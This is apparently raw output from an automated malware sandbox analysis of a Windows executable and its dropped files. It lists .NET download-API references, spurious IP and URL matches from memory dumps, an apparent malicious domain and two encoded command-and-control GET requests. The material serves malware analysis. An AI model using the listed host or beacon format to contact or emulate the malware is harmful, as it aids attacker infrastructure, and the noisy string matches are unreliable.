"a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_CookieContainer" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "dllhost.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "dllhost.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_CookieContainer" in "dllhost.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "dllhost.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "RCX39E1.tmp" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "RCX39E1.tmp" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_CookieContainer" in "RCX39E1.tmp" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "RCX39E1.tmp" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "RCX2E95.tmp"69:T613,"127.0.0.1" "192.168.243.27" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "ystem.Xml,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, Publ" Potential IP "4.0.0.0" found in string "ystem.Transactions,4.0.0.0,,b77a5c561934e089" "2.5.29.15" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.32" "2.5.29.14" "2.5.29.17" "2.5.29.19" "2.5.29.1" "2.5.4.3" Potential IP "2.5.29.1" found in string "2.5.29.1@" "2.5.29.10" "1.12.1.3" "2.5.29.16" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" "2.5.4.7" Potential IP "4.0.0.0" found in string "ion=4.0.0.0, Culture=neu" "2.5.4.6" "2.5.4.10" "2.5.4.5" "2.5.4.11" "2.5.4.8" Potential IP "1.0.0.0" found in string ":\program files\windowspowershell\modules\packagemanagement\1.0.0.0\packagemanagement.psd1" Potential IP "1.0.0.0" found in string ":\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "4.0.0.0" found in string "ystem.Drawing,4.0.0.0,,b03f5f7f11d50a3a,MSIL" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35"6a:T1ecd,Heuristic match: "+(.kY" Heuristic match: "+(7.rU" Heuristic match: "V+(Q.BT" Heuristic match: "fwjfiwmail.temp.swtest.ru" Heuristic match: "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zR" Heuristic match: "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpx" Heuristic match: "md.ee" Heuristic match: "EXE;.BAT;.CF" Heuristic match: "AT;.CX" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "Microsoft.NET/Framework64/v4.0.30319/" Heuristic match: "Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1$0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0" Pattern match: "www.microsoft.com/PKI/docs/CPS/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Heuristic match: ":\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "on.re" Heuristic match: "stem.Management.Automation.re" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "ft.cN" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/CPS" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimSta" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Heuristic match: "\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "Microsoft.Net/assembly/GAC_64/Microsoft.Management.Infrastructure.Native/v4.0_1.0.0.0__31bf3856ad364e35/Microsoft.Management.Infrastructure.Native.dll" Heuristic match: "tion.re" Heuristic match: "em.Management.Automation.re" Heuristic match: "??\C:\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "15.cat" Heuristic match: "??\C:\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=42127" Pattern match: "ww.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com/Y" Heuristic match: "Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "_v4.0.30319_64\microsoft.pae3498d9#\d922445a828b30938c72d375a3b34a60\microsoft.powershell.co" Pattern match: "t.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Heuristic match: "DSP0201.DMTF|ERROR.DE" Heuristic match: "ation.Se" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Heuristic match: "ce.In" Heuristic match: "6299.15.cat" Heuristic match: "\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ystem.Management.Automation.re" Heuristic match: "icrosoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ll.GP"6b:T1428b,Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001248.00000001.70432.9C050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001248.00000001.70432.9C050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001248.00000001.70432.9C050000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yjdecddecddecdglobalsign" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ey" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;[s&@addtrust" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0[skfuz_][swj[sbv[syc[szx1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys[skvil" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstaz" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1mond1washington1" - Source: "00000000-00001248.00000002.72351.9C050000.00000004.mdmp") Found URL "http://2010-07-01.crl0z" - Source: "00000000-00001248.00000002.72351.9C050000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yjdecddecddecdglobalsign" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ey" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;[s&@addtrust" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0[skfuz_][swj[sbv[syc[szx1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys[skvil" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstaz" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1t" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/ys/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0jggswashington1redmond1microsoft" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.120170929063406.466z0washington1redmond1microsoft" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001248.00000002.72351.B6220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s475474036,735" - Source: "00000000-00001248.00000002.72351.B6380000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czco!yj>9iqmgvw,czc1.2.840.113549.1.1.52.16.840.1.113730.1.11.3.6.1.5.5.7.1.121.2.840.113549.1.1.41.3.6.1.4.1.311.21.1microsoft" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eku" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001292.00000001.70452.357B0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001292.00000001.70452.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001292.00000001.70452.4DA20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001292.00000001.70452.4DA20000.00000004.mdmp") Found URL 